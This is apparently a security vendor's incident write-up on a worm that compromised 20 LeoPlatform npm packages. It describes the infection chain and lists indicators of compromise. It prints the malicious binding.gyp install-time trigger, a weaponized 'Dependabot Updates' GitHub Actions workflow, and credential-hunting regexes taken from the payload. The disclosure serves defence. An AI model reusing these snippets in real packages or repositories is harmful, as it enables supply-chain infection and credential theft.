Miasma Worm Infects Multiple LeoPlatform npm Packages
Table of Contents
A Miasma worm variant hit the LeoPlatform npm ecosystem on June 24, 2026. The attacker compromised a single maintainer’s npm and GitHub tokens and used them to publish infected versions of 20 packages in a 3-second burst. The same tokens pushed weaponized GitHub Actions workflows, disguised as Dependabot, to at least three repos. The payload matches the Miasma supply chain attack toolkit documented in our earlier source code analysis: a polymorphically packed Bun-based credential stealer and self-propagating worm that targets npm, PyPI, RubyGems, GitHub, AWS, Kubernetes, HashiCorp Vault, and AI coding tool configurations.
Paste or upload a lockfile, parsed locally against 20 packages.
TL;DR
- 20 npm packages under the LeoPlatform / LeoInsights org received malicious updates at
2026-06-24T23:04:55Z - Every infected package contains a
binding.gypthat triggers the payload duringnpm install, bypassing lifecycle script scanners - The payload is identical across all 20 packages after decryption (same SHA256), packed with per-package ROT cipher values and AES-128-GCM keys
- The compromised maintainer account (
czirker) also pushed orphansnapshot-*branches to three GitHub repos, each carrying a 5.2 MB worm payload and a fake “Dependabot Updates” workflow - Combined weekly download count across the 20 packages is roughly 13,600
The 20 infected packages
All 20 packages were published within the same 3-second window. The npm registry time metadata confirms they share a single automated publish run:
| Ecosystem | Package | Version | |
|---|---|---|---|
| 1 | npm | rstreams-shard-util | 1.0.1 |
| 2 | npm | leo-logger | 1.0.8 |
| 3 | npm | rstreams-metrics | 2.0.2 |
| 4 | npm | leo-cdk-lib | 0.0.2 |
| 5 | npm | leo-auth | 4.0.6 |
| 6 | npm | leo-streams | 2.0.1 |
| 7 | npm | serverless-convention | 2.0.4 |
| 8 | npm | leo-cache | 1.0.2 |
| 9 | npm | leo-connector-elasticsearch | 2.0.6 |
| 10 | npm | leo-connector-mysql | 3.0.3 |
| 11 | npm | leo-connector-redshift | 3.0.6 |
| 12 | npm | leo-connector-mongo | 3.0.8 |
| 13 | npm | leo-sdk | 6.0.19 |
| 14 | npm | serverless-leo | 3.0.14 |
| 15 | npm | leo-cli | 3.0.3 |
| 16 | npm | leo-config | 1.1.1 |
| 17 | npm | leo-cron | 2.0.2 |
| 18 | npm | leo-aws | 2.0.4 |
| 19 | npm | leo-connector-oracle | 2.0.1 |
| 20 | npm | solo-nav | 1.0.1 |
| No matching rows | |||
The highest-traffic targets are leo-logger (3,140 weekly downloads), leo-sdk (1,830), leo-aws (1,730), leo-config (1,709), and leo-streams (1,497). Four packages under the same maintainers were not infected: leo-connector-common, leo-connector-entity-table, leo-connector-postgres, and leo-connector-sqlserver. All four have their npm latest dist-tag pointing to a prerelease version (-rc or -beta). The worm likely skips packages where the latest tag is not a stable release.
How the infection works
Every infected package received the same three modifications compared to its previous clean version.
1. A new binding.gyp file. The file contains a single node-gyp target that uses command expansion to run node index.js during npm install:
// binding.gyp (identical across all 20 packages){ "targets": [ { "target_name": "nothing", "type": "none", "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"] } ]}The <!(...) syntax is a GYP command expansion that runs a shell command during project generation. npm automatically invokes node-gyp rebuild when a binding.gyp is present, regardless of whether the package.json defines any install or postinstall script. This bypasses tools that only inspect lifecycle scripts.
2. A replaced index.js. The original module code is wiped and replaced with a single-line obfuscated payload of roughly 5.2 MB. The obfuscation has three layers:
try { eval( ROT-N( charCodeArray.map(c => String.fromCharCode(c)).join(""), N ))}Each package uses a different ROT value (5, 8, 19, or 23) and a different set of AES-128-GCM keys. After decryption, every package yields the same two blobs:
| Blob | Purpose | Decrypted SHA256 |
|---|---|---|
_b | Bun runtime bootstrapper (907 bytes) | ceff7c51d70832...ea154108 |
_p | Worm payload (781,580 bytes) | 9f93d77d328338...9a6db015 |
The _b blob downloads Bun 1.3.13 from GitHub releases, caches the binary in a temp directory, and exposes a global getBunPath() function. The _p blob (the worm) is written to /tmp/p<random>.js and executed via bun run. The temp file is deleted after execution.
3. A new bun dependency. Every infected package.json adds "bun": "^1.3.13". This is the npm Bun installer package, likely included as a fallback path for environments where the bootstrapper’s curl download fails.
Root cause: one compromised maintainer
The npm account czirker (Clint Zirker, [email protected]) is the only maintainer present on all 20 infected packages. Other maintainers like leoinsights, jgrantr, and elsmob appear on subsets, but czirker is the common denominator. The worm used this account’s npm token for the mass publish and its GitHub token for the repo-level attacks.
A registry metadata query confirms the maintainer list:
curl -s "https://registry.npmjs.org/rstreams-shard-util" \ | jq '{maintainers, "dist-tags", time}'{ "dist-tags": { "latest": "1.0.1", "beta": "2.0.0-beta.1" }, "time": { "1.0.0": "2024-11-05T21:36:55.013Z", "1.0.1": "2026-06-24T23:04:55.296Z" }}The jump from 1.0.0 (November 2024) to 1.0.1 (June 24, 2026) is the infected version. This pattern repeats across all 20 packages: a long-dormant legitimate package suddenly receives a new version with a 5 MB index.js and a binding.gyp.
GitHub repo poisoning
The worm did not stop at npm. GitHub event logs for three LeoPlatform repositories show czirker creating orphan branches named snapshot-<hex> at 22:50 UTC, roughly 14 minutes before the npm publishes:
22:50:34Z CreateEvent czirker snapshot-f121a878 LeoPlatform/Nodejs22:50:52Z CreateEvent czirker snapshot-463d9ff7 LeoPlatform/auth-sdk22:50:58Z CreateEvent czirker snapshot-afacc302 LeoPlatform/Leo23:03:04Z PushEvent czirker snapshot-f121a878 LeoPlatform/Nodejs23:04:55Z (npm publishes begin)The commit on the snapshot-f121a878 branch of LeoPlatform/Nodejs tells the story. It is an orphan commit (no parent) authored as czirker, with the message “chore: update dependencies”. It adds two files:
added .github/workflows/npm-publish.yml (+19 lines)added _index.js (+1 line, 5,285,240 bytes)The _index.js is the same 5.2 MB worm payload. The workflow is a weaponized GitHub Actions pipeline:
// .github/workflows/npm-publish.yml @ 5b32ae020b1b (orphan commit)name: Dependabot Updatesrun-name: Dependabot Updateson: pushpermissions: id-token: write contents: readjobs: release: runs-on: ubuntu-latest steps: - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 - name: prepare run: bun run _index.js env: OIDC_PACKAGES: "leo-sdk" WORKFLOW_ID: "npm-publish.yml" REPO_ID_SUFFIX: "LeoPlatform/Nodejs"Three things stand out. The workflow triggers on every push to any branch. It requests id-token: write, which grants access to a GitHub OIDC token that can be exchanged for npm publish credentials via npm’s trusted publishing. And it is named “Dependabot Updates” to blend in with legitimate dependency PRs.
A follow-up commit, this time impersonating dependabot[bot], replaced the OIDC parameters with a direct NPM_TOKEN: ${{ secrets.NPM_TOKEN }} reference, suggesting the worm tries multiple publish strategies. Both the actions/checkout and oven-sh/setup-bun SHAs point to legitimate releases (a January 2026 checkout fix and Bun setup v2.2.0, respectively).
The master branch of LeoPlatform/Nodejs is clean. The weaponized workflow lives only on the orphan snapshot branch, where it would execute if merged or if a CI configuration runs workflows from all branches.
The worm payload
The inner code uses the standard javascript-obfuscator pattern: a _0x66ee string lookup table with 2,588 entries, a _0x42e6 decoder function, and a secondary runtime-constructed decoder (fb12914b2) called 519 times to decrypt environment variable names and API endpoints.
Static string analysis of the decrypted payload reveals the same capability set documented in our Miasma source code analysis:
Credential theft across npm, GitHub (PATs, OIDC, JWTs), PyPI, RubyGems, Kubernetes service account tokens, HashiCorp Vault, AWS (IAM keys, STS, IMDS, Secrets Manager, SSM), 1Password, JFrog Artifactory, and SSH private keys.
Secret scanning via regex patterns for auth tokens, private keys, and .npmrc credentials:
// Regex patterns extracted from the decrypted payload string table/"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g/-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g/ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/gAI coding tool targeting, the Miasma family signature: the payload references claudeSettingsPath, cursorRulesPath, geminiSettingsPath, and vscodeTasksPath.
npm worm propagation with automated package enumeration (npmRepos, maxPackages), version bumping (newVersion), and publish tracking (totalPackages, published, failed, publishStepIndex).
GitHub Actions workflow scanning using regex for npm publish and yarn publish in CI configs, with hasIdTokenWrite checks for OIDC-based publishing.
For a complete breakdown of each module, see Inside the Miasma Software Supply Chain Attack Toolkit.
Indicators of compromise
| Type | Indicator | Context | |
|---|---|---|---|
| 1 | File | binding.gyp | Install-time trigger, added to every infected package |
| 2 | File Pattern | index.js (~5.2 MB single line) | ROT-N + AES-128-GCM obfuscated worm payload replacing original |
| 3 | npm Dependency | bun@^1.3.13 | Added to all infected packages to bootstrap Bun runtime |
| 4 | SHA256 (Bun bootstrapper) | ceff7c51d70832c3ec8dd2744b606a23b3c924ef664ae23439b9b742ea154108 | Decrypted _b blob (identical across all 20 packages) |
| 5 | SHA256 (worm payload) | 9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015 | Decrypted _p blob (identical across all 20 packages) |
| 6 | SHA1 (leo-logger-1.0.8.tgz) | 24a0d9e496ec07ca978fab602d5f5e0b39fa03a0 | Infected tarball |
| 7 | SHA1 (serverless-convention-2.0.4.tgz) | 5e75c14b8acd5752819ab7a10874ddd6389f5238 | Infected tarball |
| 8 | SHA1 (leo-cache-1.0.2.tgz) | e973173fb757d2dab9c6424b440dd9f7cbe4f14a | Infected tarball |
| 9 | SHA1 (rstreams-shard-util-1.0.1.tgz) | a8cb86b78ca56befe90dc466642cb04b98079909 | Infected tarball |
| 10 | GitHub Branch Pattern | snapshot-<8 hex chars> | Orphan branches created by the worm on compromised repos |
| 11 | GitHub Commit Author | dependabot[bot] | Impersonated author on worm commits |
| 12 | GitHub File | _index.js (~5.2 MB) | Worm payload dropped into GitHub repos |
| 13 | GitHub Workflow Name | Dependabot Updates | Weaponized workflow disguised as Dependabot |
| 14 | GYP Command | <!(node index.js > /dev/null 2>&1 && echo stub.c) | node-gyp command expansion trigger in binding.gyp |
| 15 | Bun Download URL | github.com/oven-sh/bun/releases/download/bun-v1.3.13/ | Runtime downloaded by the Bun bootstrapper |
| 16 | Temp File Pattern | /tmp/p<random>.js | Worm payload written to disk before Bun execution |
| No matching rows | |||
Quick detection check. Any npm package that added a binding.gyp containing <!(node index.js in a recent version bump, combined with a new "bun" dependency and an index.js that grew to several megabytes, should be treated as infected.
Infected packages (CSV)
| Ecosystem | Package | Version | |
|---|---|---|---|
| 1 | npm | rstreams-shard-util | 1.0.1 |
| 2 | npm | leo-logger | 1.0.8 |
| 3 | npm | rstreams-metrics | 2.0.2 |
| 4 | npm | leo-cdk-lib | 0.0.2 |
| 5 | npm | leo-auth | 4.0.6 |
| 6 | npm | leo-streams | 2.0.1 |
| 7 | npm | serverless-convention | 2.0.4 |
| 8 | npm | leo-cache | 1.0.2 |
| 9 | npm | leo-connector-elasticsearch | 2.0.6 |
| 10 | npm | leo-connector-mysql | 3.0.3 |
| 11 | npm | leo-connector-redshift | 3.0.6 |
| 12 | npm | leo-connector-mongo | 3.0.8 |
| 13 | npm | leo-sdk | 6.0.19 |
| 14 | npm | serverless-leo | 3.0.14 |
| 15 | npm | leo-cli | 3.0.3 |
| 16 | npm | leo-config | 1.1.1 |
| 17 | npm | leo-cron | 2.0.2 |
| 18 | npm | leo-aws | 2.0.4 |
| 19 | npm | leo-connector-oracle | 2.0.1 |
| 20 | npm | solo-nav | 1.0.1 |
| No matching rows | |||
Related posts
- Inside the Miasma Software Supply Chain Attack Toolkit, source code analysis of the Miasma worm
- Miasma Worm Targets AI Coding Agents via GitHub Repos, the GitHub repo persistence variant
- Mini Shai-Hulud Hits @redhat-cloud-services, 32 packages compromised via OIDC trusted publishing
- npm
- oss
- malware
- supply-chain
- shai-hulud
- ai-coding-agents
- github
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

The wshu.net npm Campaign Delivers a Multi-Stage Infostealer
One actor seeded 15 npm packages across 13 throwaway scopes in a single morning, each shipping a ~270KB obfuscated downloader behind a postinstall hook. The downloader pulls a Rust infostealer from...

@withgoogle/stitch-sdk: Scope Squat Harvests Developer Credentials
A malicious npm package squats the @withgoogle scope to impersonate Google Stitch, silently harvesting credentials from Claude Code, git, GitHub CLI, SSH keys, npm, and Docker on install.

MYRA: A Full Linux RAT Distributed via npm
The npm package apintergrationpost is a red team RAT called MYRA with native C rootkit, triple persistence, fileless execution, live screen streaming, and process masquerade. This analysis documents...

Five npm Packages That Hide a Windows Binary Dropper
Five npm packages published in a 12-minute burst split a Windows binary dropper across a fake utility toolkit. The loader hides in a preinstall hook, decodes its C2 from a helper package, and fetches...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
